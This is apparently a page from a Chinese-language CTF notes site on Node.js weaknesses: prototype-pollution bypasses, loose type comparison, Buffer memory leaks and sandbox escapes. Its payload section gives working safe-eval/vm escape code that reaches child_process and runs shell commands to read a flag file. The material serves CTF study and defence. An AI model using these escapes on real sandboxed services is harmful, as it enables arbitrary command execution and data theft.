JavaScript

Fuzz

  • Object.getOwnPropertyNames(this) 得到依赖包名

  • Error().stack 抛出栈错误

绕过

  • 数组绕过

  • \x70\x72\x6f\x74\x6f\x74\x79\x70\x65 编码绕过

弱类型比较

[1] == 1
'1' == 1

函数“缺陷”

  • setTimeout(callback, delay[, ...args])

    当 delay 大于 2147483647 或小于 1 时,则 delay 将会被设置为 1。 非整数的 delay 会被截断为整数。

    如果 callback 不是函数,则抛出 TypeError。

原型链污染

参考资料

https://3nd.xyz/2019/09/10/Summary/Javascript-Prototype-Attack/#0x07-%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5

VM虚拟机逃逸

Buffer

随机泄露内存

Buffer(100)

升级版

for (var step = 0; step < 100000; step++) {
    var buf = (new Buffer(100)).toString('ascii');
    if (buf.indexOf("target") !== -1)  break;
}
buf;

Payload

Safe-Eval

clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()
(function () {
  const f = Buffer.prototype.write;
  const ft = {
    length: 10,
    utf8Write(){

    }
  };
  function r(i){
    var x = 0;
    try{
      x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
      return x;
    if(x!==i)
      return x+1;
    try{
      f.call(ft);
    }catch(e){
      return e;
    }
    return null;
  }
  var i=1;
  while(1){
    try{
      i=r(i).constructor.constructor("return process")();
      break;
    }catch(x){
      i++;
    }
  }
  return i.mainModule.require("child_process").execSync("cat /flag").toString()
}()).toString()

参考资料

https://github.com/ChALkeR/notes/blob/master/Buffer-knows-everything.md

NPM 包管理安全检测

npm audit

拓展资料

nodejs 语法手册 http://nodejs.cn/api/

Vulnerablity Database:

https://snyk.io/vuln

https://github.com/advisories

https://www.npmjs.com/advisories

© Eki's CTF-notes 2019-2020 CC-by-nc-sa 4.0。 all right reserved,powered by Gitbook本网站最后修订于: 2021-03-03 15:52:18

results matching ""

    No results matching ""